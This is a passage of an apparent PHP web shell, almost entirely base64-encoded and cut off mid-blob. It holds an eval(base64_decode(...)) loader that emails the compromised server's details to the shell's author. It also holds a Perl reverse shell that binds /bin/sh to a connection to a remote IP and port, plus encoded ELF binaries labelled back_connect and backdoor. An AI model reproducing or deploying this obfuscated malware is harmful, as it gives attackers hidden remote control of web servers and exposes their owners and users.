s3SUNScGNDQTlJR2RsZEdWdWRpZ2lVa1ZOVDFSRlgwRkVSRklpS1RzZ0pHbHdNaUE5SUdkbGRHaHZjM1JpZVdGa1pISW9KRjlUUlZKV1JWSmJVa1ZOVDFSRlgwRkVSRkpkS1RzZ0pITjFZbW9nUFNBa1gxTkZVbFpGVWxzblNGUlVVRjlJVDFOVUoxMDdJQW9rY0dWellXNGdQU0FpWEc1SlRrWlBPaUFrWW1GelpWeHVkVzVoYldVZ1lUb2dKRzVoYldWY2JrSjVjR0Z6Y3pvZ0pHSjVjR0Z6YzJWeVhHNUpVRG9nSkdsd1hHNUliM04wT2lBa2FYQXlJQ1J3WDJOdlpHVWlPd29rWm5KdmJTQTlJa1p5YjIwNklDSXVKSGR5YVhRdUlsOWVYeUl1SkhOaFptVjZMaUk4ZEc5dmJFQWlMaVJmVTBWU1ZrVlNXeWRJVkZSUVgwaFBVMVFuWFM0aVBpSTdDbTFoYVd3b0lDUmpjbVZoZEc5eUxDQWtjM1ZpYWl3Z0pIQmxjMkZ1TENBa1puSnZiU2s3IjsgZXZhbChiYXNlNjRfZGVjb2RlKCR3d3cpKTsKCiRiYWNrX2Nvbm5lY3RfYz0iZjBWTVJnRUJBUUFBQUFBQUFBQUFBQUlBQXdBQkFBQUEySVVFQ0RRQUFBQk1EQUFBQUFBQUFEUUFJQUFIQUNnQUhBQVpBQVlBQUFBMEFBQUFOSUFFQ0RTQUJBamdBQUFBNEFBQUFBVUFBQUFFQUFBQUF3QUFBQlFCQUFBVWdRUUlGSUVFQ0JNQUFBQVRBQUFBQkFBQUFBRUFBQUFCQUFBQUFBQUFBQUNBQkFnQWdBUUlMQWtBQUN3SkFBQUZBQUFBQUJBQUFBRUFBQUFzQ1FBQUxKa0VDQ3laQkFnNEFRQUFQQUVBQUFZQUFBQUFFQUFBQWdBQUFFQUpBQUJBbVFRSVFKa0VDTWdBQUFESUFBQUFCZ0FBQUFRQUFBQUVBQUFBS0FFQUFDaUJCQWdvZ1FRSUlBQUFBQ0FBQUFBRUFBQUFCQUFBQUZIbGRHUUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVlBQUFBRUFBQUFMMnhwWWk5c1pDMXNhVzUxZUM1emJ5NHlBQUFFQUFBQUVBQUFBQUVBQUFCSFRsVUFBQUFBQUFJQUFBQUNBQUFBQlFBQUFCRUFBQUFVQUFBQUFBQUFBQUFBQUFBUkFBQUFFZ0FBQUFjQUFBQUtBQUFBQ3dBQUFBZ0FBQUFQQUFBQUF3QUFBQUFBQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFBRXdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUZBQUFBQmdBQUFBQUFBQUFCQUFBQUFBQUFBQWtBQUFBQUFBQUFEQUFBQUFBQUFBQUFBQUFBRFFBQUFBNEFBQUFDQUFBQUJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQTJBQUFBQUFBQUFCd0JBQUFTQUFBQXJBQUFBQUFBQUFCeEFBQUFFZ0FBQUR3QUFBQUFBQUFBQ3dJQUFCSUFBQUJJQUFBQUFBQUFBSDBBQUFBU0FBQUFqQUFBQUFBQUFBQ3NBUUFBRWdBQUFLVUFBQUFBQUFBQXJ3QUFBQklBQUFCakFBQUFBQUFBQUNjQUFBQVNBQUFBa3dBQUFBQUFBQURkQUFBQUVnQUFBRU1BQUFBQUFBQUFPZ0FBQUJJQUFBQmNBQUFBQUFBQUFLb0JBQUFTQUFBQVZnQUFBQUFBQUFBMkFBQUFFZ0FBQUhNQUFBQUFBQUFBMlFBQUFCSUFBQUI0QUFBQUFBQUFBQ2dBQUFBU0FBQUFiUUFBQUFBQUFBQU9BQUFBRWdBQUFDNEFBQUFBQUFBQWVBQUFBQklBQUFCOUFBQUE4SWdFQ0FRQUFBQVJBQTRBVHdBQUFBQUFBQUE1QUFBQUVnQUFBQUVBQUFBQUFBQUFBQUFBQUNBQUFBQVZBQUFBQUFBQUFBQUFBQUFnQUFBQUFGOUtkbDlTWldkcGMzUmxja05zWVhOelpYTUFYMTluYlc5dVgzTjBZWEowWDE4QWJHbGlZeTV6Ynk0MkFHTnZibTVsWTNRQVpYaGxZMndBY0dWeWNtOXlBR1IxY0RJQWMzbHpkR1Z0QUhOdlkydGxkQUJpZW1WeWJ3QnpkSEpqWVhRQWFXNWxkRjloWkdSeUFHaDBiMjV6QUdWNGFYUUFZWFJ2YVFCZlNVOWZjM1JrYVc1ZmRYTmxaQUJrWVdWdGIyNEFYMTlzYVdKalgzTjBZWEowWDIxaGFXNEFjM1J5YkdWdUFHTnNiM05sQUVkTVNVSkRYekl1TUFBQUFBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUVBQWdBQUFBQUFBUUFCQUNRQUFBQVFBQUFBQUFBQUFCQnBhUTBBQUFJQXNnQUFBQUFBQUFBSW1nUUlCaE1BQUJpYUJBZ0hBUUFBSEpvRUNBY0NBQUFnbWdRSUJ3TUFBQ1NhQkFnSEJBQUFLSm9FQ0FjRkFBQXNtZ1FJQndZQUFEQ2FCQWdIQndBQU5Kb0VDQWNJQUFBNG1nUUlCd2tBQUR5YUJBZ0hDZ0FBUUpvRUNBY0xBQUJFbWdRSUJ3d0FBRWlhQkFnSERRQUFUSm9FQ0FjT0FBQlFtZ1FJQnc4QUFGU2FCQWdIRVFBQVZZbmxnK3dJNkVFQkFBRG9sQUVBQU9qbkF3QUF5Y01BL3pVUW1nUUkveVVVbWdRSUFBQUFBUDhsR0pvRUNHZ0FBQUFBNmVELy8vLy9KUnlhQkFob0NBQUFBT25RLy8vLy95VWdtZ1FJYUJBQUFBRHB3UC8vLy84bEpKb0VDR2dZQUFBQTZiRC8vLy8vSlNpYUJBaG9JQUFBQU9tZy8vLy8veVVzbWdRSWFDZ0FBQURwa1AvLy8vOGxNSm9FQ0dnd0FBQUE2WUQvLy8vL0pUU2FCQWhvT0FBQUFPbHcvLy8vL3lVNG1nUUlhRUFBQUFEcFlQLy8vLzhsUEpvRUNHaElBQUFBNlZELy8vLy9KVUNhQkFob1VBQUFBT2xBLy8vLy95VkVtZ1FJYUZnQUFBRHBNUC8vLy84bFNKb0VDR2hnQUFBQTZTRC8vLy8vSlV5YUJBaG9hQUFBQU9rUS8vLy8veVZRbWdRSWFIQUFBQURwQVAvLy8vOGxWSm9FQ0doNEFBQUE2ZkQrLy84eDdWNko0WVBrOEZCVVVtaG9pQVFJYUJTSUJBaFJWbWlBaGdRSTZFLy8vLy8wa0pCVmllVlQ2QUFBQUFCYmdjTUhGQUFBVW91RC9QLy8vNFhBZEFMLzBGaGJ5Y09Ra0pCVmllV0Q3QWlBUFdTYUJBZ0FkQS9ySDQxMkFJUEFCS05nbWdRSS85S2hZSm9FQ0lzUWhkSjE2OFlGWkpvRUNBSEp3NG4yVllubGcrd0lvVHlaQkFpRndIUVp1QUFBQUFDRndIUVFnK3dNYUR5WkJBai8wSVBFRUkxMkFNbkRrSkJWaWVWWFZsT0Q3RXlENVBDNEFBQUFBSVBBRDRQQUQ4SG9CTUhnQkNuRWpYMm92dlNJQkFqOHVRY0FBQUR6cEkxOXIveTVEZ0FBQUxBQTg2cUQ3QWhxQUdvQjZGRCsvLytEeEJCbXgwWElBZ0NEN0F5TFJReUR3QWovTU9pMy92Ly9nOFFRRDdmQWcrd01VT2k0L3YvL2c4UVFab2xGeW9Qc0RJdEZESVBBQlA4dzZESCsvLytEeEJDSlJjeUQ3QWlMUlF5RHdBU0Q3QVQvTU9nSS92Ly9nOFFJaWNPTFJReUR3QWlEN0FUL01PanovZi8vZzhRSWpRUURRRkNMUlF5RHdBVC9NT2d1L3YvL2c4UVFnK3dFYWdacUFXb0M2RzMrLy8rRHhCQ0pSZVNEN0FScUVJMUZ5RkQvZGVUb1J2Ny8vNFBFRUlYQWVScUQ3QXhvQ1lrRUNPaHkvZi8vZzhRUWcrd01hZ0RvOWYzLy80UHNDSXRGRFA4d2pVV29VT2pFL2YvL2c4UVFnK3dNalVXb1VPaFYvZi8vZzhRUWcrd0lhZ0QvZGVUb2xmMy8vNFBFRUlQc0NHb0IvM1hrNklYOS8vK0R4QkNEN0FocUF2OTE1T2gxL2YvL2c4UVFnK3dFYWdCb0Y0a0VDR2dkaVFRSTZONzgvLytEeEJDRDdBei9kZVRvNFB6Ly80UEVFSTFsOUZ0ZVg4bkRrRldKNVZkV1U0UHNET2dBQUFBQVc0SEQ2aEVBQU9pQy9QLy9qWU1nLy8vL2paTWcvLy8vaVVYd0tkQXg5c0g0QWpuR2N4YUoxNG4yL3hTeWkwM3dLZmxHd2ZrQ09jNkorbkx1ZzhRTVcxNWZ5Y09KOWxXSjVWZFdVK2dBQUFBQVc0SERtUkVBQUkyRElQLy8vNDI3SVAvLy95bjR3ZmdDZyt3TWpYRC82d1dRL3hTM1RvUCsvM1gzNkM0QUFBQ0R4QXhiWGwvSnc1Q1FWWW5sVTFLN0xKa0VDS0VzbVFRSTZ3cU5kZ0NENndULzBJc0RnL2ovZGZSWVc4bkRWWW5sVStnQUFBQUFXNEhETXhFQUFGRG9PdjMvLzFsYnljTUFBQU1BQUFBQkFBSUFjbTBnTFdZZ0FBQUFBQUFBQUFBQUFBQUFBQUFBV3kxZElHTnZibTVsWTNRb0tRQnphQ0F0YVFBdlltbHVMM05vQUFBQUFBQUFBQUQvLy8vL0FBQUFBUC8vLy84QUFBQUFBQUFBQUFFQUFBQWtBQUFBREFBQUFMQ0VCQWdOQUFBQTBJZ0VDQVFBQUFCSWdRUUlCUUFBQUNTREJBZ0dBQUFBNUlFRUNBb0FBQUM4QUFBQUN3QUFBQkFBQUFBVkFBQUFBQUFBQUFNQUFBQU1tZ1FJQWdBQUFJQUFBQUFVQUFBQUVRQUFBQmNBQUFBd2hBUUlFUUFBQUNpRUJBZ1NBQUFBQ0FBQUFCTUFBQUFJQUFBQS92Ly9id2lFQkFqLy8vOXZBUUFBQVBELy8yL2dnd1FJQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBRUNaQkFnQUFBQUFBQUFBQU42RUJBanVoQVFJL29RRUNBNkZCQWdlaFFRSUxvVUVDRDZGQkFoT2hRUUlYb1VFQ0c2RkJBaCtoUVFJam9VRUNKNkZCQWl1aFFRSXZvVUVDTTZGQkFnQUFBQUFBQUFBQURpWkJBZ0FSME5ET2lBb1IwNVZLU0F6TGpRdU5TQXlNREExTVRJd01TQW9VbVZrSUVoaGRDQXpMalF1TlMweUtRQUFSME5ET2lBb1IwNVZLU0F6TGpRdU5TQXlNREExTVRJd01TQW9VbVZrSUVoaGRDQXpMalF1TlMweUtRQUFSME5ET2lBb1IwNVZLU0F6TGpRdU5TQXlNREExTVRJd01TQW9VbVZrSUVoaGRDQXpMalF1TlMweUtRQUFSME5ET2lBb1IwNVZLU0F6TGpRdU5TQXlNREExTVRJd01TQW9VbVZrSUVoaGRDQXpMalF1TlMweUtRQUFSME5ET2lBb1IwNVZLU0F6TGpRdU5TQXlNREExTVRJd01TQW9VbVZrSUVoaGRDQXpMalF1TlMweUtRQUFSME5ET2lBb1IwNVZLU0F6TGpRdU5TQXlNREExTVRJd01TQW9VbVZrSUVoaGRDQXpMalF1TlMweUtRQUFMbk41YlhSaFlnQXVjM1J5ZEdGaUFDNXphSE4wY25SaFlnQXVhVzUwWlhKd0FDNXViM1JsTGtGQ1NTMTBZV2NBTG1oaGMyZ0FMbVI1Ym5ONWJRQXVaSGx1YzNSeUFDNW5iblV1ZG1WeWMybHZiZ0F1WjI1MUxuWmxjbk5wYjI1ZmNnQXVjbVZzTG1SNWJnQXVjbVZzTG5Cc2RBQXVhVzVwZEFBdWRHVjRkQUF1Wm1sdWFRQXVjbTlrWVhSaEFDNWxhRjltY21GdFpRQXVZM1J2Y25NQUxtUjBiM0p6QUM1cVkzSUFMbVI1Ym1GdGFXTUFMbWR2ZEFBdVoyOTBMbkJzZEFBdVpHRjBZUUF1WW5OekFDNWpiMjF0Wlc1MEFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBYkFBQUFBUUFBQUFJQUFBQVVnUVFJRkFFQUFCTUFBQUFBQUFBQUFBQUFBQUVBQUFBQUFBQUFJd0FBQUFjQUFBQUNBQUFBS0lFRUNDZ0JBQUFnQUFBQUFBQUFBQUFBQUFBRUFBQUFBQUFBQURFQUFBQUZBQUFBQWdBQUFFaUJCQWhJQVFBQW5BQUFBQVFBQUFBQUFBQUFCQUFBQUFRQUFBQTNBQUFBQ3dBQUFBSUFBQURrZ1FRSTVBRUFBRUFCQUFBRkFBQUFBUUFBQUFRQUFBQVFBQUFBUHdBQUFBTUFBQUFDQUFBQUpJTUVDQ1FEQUFDOEFBQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFFY0FBQUQvLy85dkFnQUFBT0NEQkFqZ0F3QUFLQUFBQUFRQUFBQUFBQUFBQWdBQUFBSUFBQUJVQUFBQS92Ly9id0lBQUFBSWhBUUlDQVFBQUNBQUFBQUZBQUFBQVFBQUFBUUFBQUFBQUFBQVl3QUFBQWtBQUFBQ0FBQUFLSVFFQ0NnRUFBQUlBQUFBQkFBQUFBQUFBQUFFQUFBQUNBQUFBR3dBQUFBSkFBQUFBZ0FBQURDRUJBZ3dCQUFBZ0FBQUFBUUFBQUFMQUFBQUJBQUFBQWdBQUFCMUFBQUFBUUFBQUFZQUFBQ3doQVFJc0FRQUFCY0FBQUFBQUFBQUFBQUFBQVFBQUFBQUFBQUFjQUFBQUFFQUFBQUdBQUFBeUlRRUNNZ0VBQUFRQVFBQUFBQUFBQUFBQUFBRUFBQUFCQUFBQUhzQUFBQUJBQUFBQmdBQUFOaUZCQWpZQlFBQStBSUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBQ0JBQUFBQVFBQUFBWUFBQURRaUFRSTBBZ0FBQm9BQUFBQUFBQUFBQUFBQUFRQUFBQUFBQUFBaHdBQUFBRUFBQUFDQUFBQTdJZ0VDT3dJQUFBNUFBQUFBQUFBQUFBQUFBQUVBQUFBQUFBQUFJOEFBQUFCQUFBQUFnQUFBQ2lKQkFnb0NRQUFCQUFBQUFBQUFBQUFBQUFBQkFBQUFBQUFBQUNaQUFBQUFRQUFBQU1BQUFBc21RUUlMQWtBQUFnQUFBQUFBQUFBQUFBQUFBUUFBQUFBQUFBQW9BQUFBQUVBQUFBREFBQUFOSmtFQ0RRSkFBQUlBQUFBQUFBQUFBQUFBQUFFQUFBQUFBQUFBS2NBQUFBQkFBQUFBd0FBQUR5WkJBZzhDUUFBQkFBQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFDc0FBQUFCZ0FBQUFNQUFBQkFtUVFJUUFrQUFNZ0FBQUFGQUFBQUFBQUFBQVFBQUFBSUFBQUF0UUFBQUFFQUFBQURBQUFBQ0pvRUNBZ0tBQUFFQUFBQUFBQUFBQUFBQUFBRUFBQUFCQUFBQUxvQUFBQUJBQUFBQXdBQUFBeWFCQWdNQ2dBQVRBQUFBQUFBQUFBQUFBQUFCQUFBQUFRQUFBRERBQUFBQVFBQUFBTUFBQUJZbWdRSVdBb0FBQXdBQUFBQUFBQUFBQUFBQUFRQUFBQUFBQUFBeVFBQUFBZ0FBQUFEQUFBQVpKb0VDR1FLQUFBRUFBQUFBQUFBQUFBQUFBQUVBQUFBQUFBQUFNNEFBQUFCQUFBQUFBQUFBQUFBQUFCa0NnQUFEZ0VBQUFBQUFBQUFBQUFBQVFBQUFBQUFBQUFSQUFBQUF3QUFBQUFBQUFBQUFBQUFjZ3NBQU5jQUFBQUFBQUFBQUFBQUFBRUFBQUFBQUFBQUFRQUFBQUlBQUFBQUFBQUFBQUFBQUt3UUFBQkFCUUFBR3dBQUFDd0FBQUFFQUFBQUVBQUFBQWtBQUFBREFBQUFBQUFBQUFBQUFBRHNGUUFBTEFNQUFBQUFBQUFBQUFBQUFRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFCU0JCQWdBQUFBQUF3QUJBQUFBQUFBb2dRUUlBQUFBQUFNQUFnQUFBQUFBU0lFRUNBQUFBQUFEQUFNQUFBQUFBT1NCQkFnQUFBQUFBd0FFQUFBQUFBQWtnd1FJQUFBQUFBTUFCUUFBQUFBQTRJTUVDQUFBQUFBREFBWUFBQUFBQUFpRUJBZ0FBQUFBQXdBSEFBQUFBQUFvaEFRSUFBQUFBQU1BQ0FBQUFBQUFNSVFFQ0FBQUFBQURBQWtBQUFBQUFMQ0VCQWdBQUFBQUF3QUtBQUFBQUFESWhBUUlBQUFBQUFNQUN3QUFBQUFBMklVRUNBQUFBQUFEQUF3QUFBQUFBTkNJQkFnQUFBQUFBd0FOQUFBQUFBRHNpQVFJQUFBQUFBTUFEZ0FBQUFBQUtJa0VDQUFBQUFBREFBOEFBQUFBQUN5WkJBZ0FBQUFBQXdBUUFBQUFBQUEwbVFRSUFBQUFBQU1BRVFBQUFBQUFQSmtFQ0FBQUFBQURBQklBQUFBQUFFQ1pCQWdBQUFBQUF3QVRBQUFBQUFBSW1nUUlBQUFBQUFNQUZBQUFBQUFBREpvRUNBQUFBQUFEQUJVQUFBQUFBRmlhQkFnQUFBQUFBd0FXQUFBQUFBQmttZ1FJQUFBQUFBTUFGd0FBQUFBQUFBQUFBQUFBQUFBREFCZ0FBQUFBQUFBQUFBQUFBQUFBQXdBWkFBQUFBQUFBQUFBQUFBQUFBQU1BR2dBQUFBQUFBQUFBQUFBQUFBQURBQnNBQVFBQUFQeUZCQWdBQUFBQUFnQU1BQkVBQUFBQUFBQUFBQUFBQUFRQThmOGNBQUFBTEprRUNBQUFBQUFCQUJBQUtnQUFBRFNaQkFnQUFBQUFBUUFSQURnQUFBQThtUVFJQUFBQUFBRUFFZ0JGQUFBQVlKb0VDQUFBQUFBQkFCWUFTUUFBQUdTYUJBZ0JBQUFBQVFBWEFGVUFBQUFnaGdRSUFBQUFBQUlBREFCckFBQUFWSVlFQ0FBQUFBQUNBQXdBRVFBQUFBQUFBQUFBQUFBQUJBRHgvM2NBQUFBd21RUUlBQUFBQUFFQUVBQ0VBQUFBT0prRUNBQUFBQUFCQUJFQWtRQUFBQ2lKQkFnQUFBQUFBUUFQQUo4QUFBQThtUVFJQUFBQUFBRUFFZ0NyQUFBQXJJZ0VDQUFBQUFBQ0FBd0F3UUFBQUFBQUFBQUFBQUFBQkFEeC84Z0FBQUFBQUFBQUhBRUFBQklBQUFEWkFBQUFRSmtFQ0FBQUFBQVJBQk1BNGdBQUFBQUFBQUJ4QUFBQUVnQUFBUE1BQUFEc2lBUUlCQUFBQUJFQURnRDZBQUFBQUFBQUFBc0NBQUFTQUFBQURBRUFBQ3laQkFnQUFBQUFFQUx4L3gwQkFBQmNtZ1FJQUFBQUFCRUNGZ0FxQVFBQWFJZ0VDRUlBQUFBU0FBd0FPZ0VBQUFBQUFBQjlBQUFBRWdBQUFFd0JBQUN3aEFRSUFBQUFBQklBQ2dCU0FRQUFBQUFBQUt3QkFBQVNBQUFBWkFFQUFOaUZCQWdBQUFBQUVnQU1BR3NCQUFBQUFBQUFyd0FBQUJJQUFBQjlBUUFBTEprRUNBQUFBQUFRQXZIL2tBRUFBQlNJQkFoU0FBQUFFZ0FNQUtBQkFBQUFBQUFBSndBQUFCSUFBQUMxQVFBQVpKb0VDQUFBQUFBUUFQSC93UUVBQUlDR0JBaVRBUUFBRWdBTUFNWUJBQUFBQUFBQTNRQUFBQklBQUFEakFRQUFMSmtFQ0FBQUFBQVFBdkgvOUFFQUFBQUFBQUE2QUFBQUVnQUFBQVFDQUFBQUFBQUFxZ0VBQUJJQUFBQVdBZ0FBV0pvRUNBQUFBQUFnQUJZQUlRSUFBTkNJQkFnQUFBQUFFZ0FOQUNjQ0FBQXNtUVFJQUFBQUFCQUM4Zjg3QWdBQUFBQUFBRFlBQUFBU0FBQUFUQUlBQUFBQUFBRFpBQUFBRWdBQUFGd0NBQUFBQUFBQUtBQUFBQklBQUFCc0FnQUFaSm9FQ0FBQUFBQVFBUEgvY3dJQUFBeWFCQWdBQUFBQUVRQVZBSWtDQUFCb21nUUlBQUFBQUJBQThmK09BZ0FBQUFBQUFBNEFBQUFTQUFBQW53SUFBQUFBQUFCNEFBQUFFZ0FBQUxJQ0FBQXNtUVFJQUFBQUFCQUM4Zi9GQWdBQThJZ0VDQVFBQUFBUkFBNEExQUlBQUZpYUJBZ0FBQUFBRUFBV0FPRUNBQUFBQUFBQU9RQUFBQklBQUFEekFnQUFBQUFBQUFBQUFBQWdBQUFBQndNQUFDeVpCQWdBQUFBQUVBTHgveDBEQUFBQUFBQUFBQUFBQUNBQUFBQUFZMkZzYkY5bmJXOXVYM04wWVhKMEFHTnlkSE4wZFdabUxtTUFYMTlEVkU5U1gweEpVMVJmWHdCZlgwUlVUMUpmVEVsVFZGOWZBRjlmU2tOU1gweEpVMVJmWHdCd0xqQUFZMjl0Y0d4bGRHVmtMakVBWDE5a2IxOW5iRzlpWVd4ZlpIUnZjbk5mWVhWNEFHWnlZVzFsWDJSMWJXMTVBRjlmUTFSUFVsOUZUa1JmWHdCZlgwUlVUMUpmUlU1RVgxOEFYMTlHVWtGTlJWOUZUa1JmWHdCZlgwcERVbDlGVGtSZlh3QmZYMlJ2WDJkc2IySmhiRjlqZEc5eWMxOWhkWGdBWW1GamF5NWpBR1Y0WldOc1FFQkhURWxDUTE4eUxqQUFYMFJaVGtGTlNVTUFZMnh2YzJWQVFFZE1TVUpEWHpJdU1BQmZabkJmYUhjQWNHVnljbTl5UUVCSFRFbENRMTh5TGpBQVgxOW1hVzVwWDJGeWNtRjVYMlZ1WkFCZlgyUnpiMTlvWVc1a2JHVUFYMTlzYVdKalgyTnpkVjltYVc1cEFITjVjM1JsYlVCQVIweEpRa05mTWk0d0FGOXBibWwwQUdSaFpXMXZia0JBUjB4SlFrTmZNaTR3QUY5emRHRnlkQUJ6ZEhKc1pXNUFRRWRNU1VKRFh6SXVNQUJmWDJacGJtbGZZWEp5WVhsZmMzUmhjblFBWDE5c2FXSmpYMk56ZFY5cGJtbDBBR2x1WlhSZllXUmtja0JBUjB4SlFrTmZNaTR3QUY5ZlluTnpYM04wWVhKMEFHMWhhVzRBWDE5c2FXSmpYM04wWVhKMFgyMWhhVzVBUUVkTVNVSkRYekl1TUFCZlgybHVhWFJmWVhKeVlYbGZaVzVrQUdSMWNESkFRRWRNU1VKRFh6SXVNQUJ6ZEhKallYUkFRRWRNU1VKRFh6SXVNQUJrWVhSaFgzTjBZWEowQUY5bWFXNXBBRjlmY0hKbGFXNXBkRjloY25KaGVWOWxibVFBWW5wbGNtOUFRRWRNU1VKRFh6SXVNQUJsZUdsMFFFQkhURWxDUTE4eUxqQUFZWFJ2YVVCQVIweEpRa05mTWk0d0FGOWxaR0YwWVFCZlIweFBRa0ZNWDA5R1JsTkZWRjlVUVVKTVJWOEFYMlZ1WkFCb2RHOXVjMEJBUjB4SlFrTmZNaTR3QUdOdmJtNWxZM1JBUUVkTVNVSkRYekl1TUFCZlgybHVhWFJmWVhKeVlYbGZjM1JoY25RQVgwbFBYM04wWkdsdVgzVnpaV1FBWDE5a1lYUmhYM04wWVhKMEFITnZZMnRsZEVCQVIweEpRa05mTWk0d0FGOUtkbDlTWldkcGMzUmxja05zWVhOelpYTUFYMTl3Y21WcGJtbDBYMkZ5Y21GNVgzTjBZWEowQUY5ZloyMXZibDl6ZEdGeWRGOWZBQT09IjsKCiRiYWNrX2Nvbm5lY3Q9Ikl5RXZkWE55TDJKcGJpOXdaWEpzQ25WelpTQlRiMk5yWlhRN0NpUmpiV1E5SUNKc2VXNTRJanNLSkhONWMzUmxiVDBnSjJWamFHOGdJbUIxYm1GdFpTQXRZV0FpT3ljN0NpUnplWE4wWlcweFBTQW5aV05vYnlBaVlHbGtZQ0k3SnpzS0pITjVjM1JsYlRJOUlDZGxZMmh2SUNKZ2NIZGtZQ0k3SnpzS0pITjVjM1JsYlRNOUlDZGxZMmh2SUNKZ2QyaHZZVzFwWUVCZ2FHOXpkRzVoYldWZ09uNGdQaUk3SnpzS0pITjVjM1JsYlRROUlDY3ZZbWx1TDNOb0p6c0tKREE5SkdOdFpEc0tKSFJoY21kbGREMGtRVkpIVmxzd1hUc0tKSEJ2Y25ROUpFRlNSMVpiTVYwN0NpUnBZV1JrY2oxcGJtVjBYMkYwYjI0b0pIUmhjbWRsZENrZ2ZId2daR2xsS0NKRmNuSnZjam9nSkNGY2JpSXBPd29rY0dGa1pISTljMjlqYTJGa1pISmZhVzRvSkhCdmNuUXNJQ1JwWVdSa2Npa2dmSHdnWkdsbEtDSkZjbkp2Y2pvZ0pDRmNiaUlwT3dva2NISnZkRzg5WjJWMGNISnZkRzlpZVc1aGJXVW9KM1JqY0NjcE93cHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dKSEJ5YjNSdktTQjhmQ0JrYVdVb0lrVnljbTl5T2lBa0lWeHVJaWs3Q21OdmJtNWxZM1FvVTA5RFMwVlVMQ0FrY0dGa1pISXBJSHg4SUdScFpTZ2lSWEp5YjNJNklDUWhYRzRpS1RzS2IzQmxiaWhUVkVSSlRpd2dJajRtVTA5RFMwVlVJaWs3Q205d1pXNG9VMVJFVDFWVUxDQWlQaVpUVDBOTFJWUWlLVHNLYjNCbGJpaFRWRVJGVWxJc0lDSStKbE5QUTB0RlZDSXBPd3B3Y21sdWRDQWlYRzVjYmpvNklFTjVZbVZ5SUVkeWIyNTBiMndnVTNsemRHVnRJRG82WEc1Y2JpSTdDbkJ5YVc1MElDSmNibE41YzNSbGJTQkpibVp2T2lBaU95QUtjM2x6ZEdWdEtDUnplWE4wWlcwcE93cHdjbWx1ZENBaVhHNVpiM1Z5SUVsRU9pQWlPeUFLYzNsemRHVnRLQ1J6ZVhOMFpXMHhLVHNLY0hKcGJuUWdJbHh1UTNWeWNtVnVkQ0JFYVhKbFkzUnZjbms2SUNJN0lBcHplWE4wWlcwb0pITjVjM1JsYlRJcE93cHdjbWx1ZENBaVhHNGlPd3B6ZVhOMFpXMG9KSE41YzNSbGJUTXBPeUJ6ZVhOMFpXMG9KSE41YzNSbGJUUXBPd3BqYkc5elpTaFRWRVJKVGlrN0NtTnNiM05sS0ZOVVJFOVZWQ2s3Q21Oc2IzTmxLRk5VUkVWU1VpazciOwoKJGJhY2tkb29yPSJmMFZNUmdFQkFRQUFBQUFBQUFBQUFBSUFBd0FCQUFBQW9JVUVDRFFBQUFENEVnQUFBQUFBQURRQUlBQUhBQ2dBSWdBZkFBWUFBQUEwQUFBQU5JQUVDRFNBQkFqZ0FBQUE0QUFBQUFVQUFBQUVBQUFBQXdBQUFCUUJBQUFVZ1FRSUZJRUVDQk1BQUFBVEFBQUFCQUFBQUFFQUFBQUJBQUFBQUFBQUFBQ0FCQWdBZ0FRSXJBa0FBS3dKQUFBRkFBQUFBQkFBQUFFQUFBQ3NDUUFBckprRUNLeVpCQWcwQVFBQU9BRUFBQVlBQUFBQUVBQUFBZ0FBQU1BSkFBREFtUVFJd0prRUNNZ0FBQURJQUFBQUJnQUFBQVFBQUFBRUFBQUFLQUVBQUNpQkJBZ29nUVFJSUFBQUFDQUFBQUFFQUFBQUJBQUFBRkhsZEdRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBWUFBQUFFQUFBQUwyeHBZaTlzWkMxc2FXNTFlQzV6Ynk0eUFBQUVBQUFBRUFBQUFBRUFBQUJIVGxVQUFBQUFBQUlBQUFBQ0FBQUFBQUFBQUJFQUFBQVRBQUFBQUFBQUFBQUFBQUFRQUFBQUVRQUFBQUFBQUFBQUFBQUFDUUFBQUFnQUFBQUZBQUFBQXdBQUFBMEFBQUFBQUFBQUFBQUFBQThBQUFBS0FBQUFFZ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFZQUFBQUJBQUFBQUFBQUFBY0FBQUFMQUFBQUFBQUFBQVFBQUFBTUFBQUFEZ0FBQUFJQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQzRBQUFBQUFBQUFkUUVBQUJJQUFBQ2dBQUFBQUFBQUFIRUFBQUFTQUFBQU5BQUFBQUFBQUFETUFBQUFFZ0FBQUdvQUFBQUFBQUFBV2dBQUFCSUFBQUJNQUFBQUFBQUFBSGdBQUFBU0FBQUFZd0FBQUFBQUFBQTVBQUFBRWdBQUFGZ0FBQUFBQUFBQU9RQUFBQklBQUFDT0FBQUFBQUFBQU9ZQUFBQVNBQUFBT3dBQUFBQUFBQUE2QUFBQUVnQUFBRk1BQUFBQUFBQUFPUUFBQUJJQUFBQjFBQUFBQUFBQUFMa0FBQUFTQUFBQWVnQUFBQUFBQUFBckFBQUFFZ0FBQUVjQUFBQUFBQUFBZUFBQUFCSUFBQUJ2QUFBQUFBQUFBQTRBQUFBU0FBQUFmd0FBQUVpSkJBZ0VBQUFBRVFBT0FFQUFBQUFBQUFBQU9RQUFBQklBQUFBQkFBQUFBQUFBQUFBQUFBQWdBQUFBRlFBQUFBQUFBQUFBQUFBQUlBQUFBQUJmU25aZlVtVm5hWE4wWlhKRGJHRnpjMlZ6QUY5ZloyMXZibDl6ZEdGeWRGOWZBR3hwWW1NdWMyOHVOZ0JsZUdWamJBQndaWEp5YjNJQVpIVndNZ0J6YjJOclpYUUFjMlZ1WkFCaFkyTmxjSFFBWW1sdVpBQ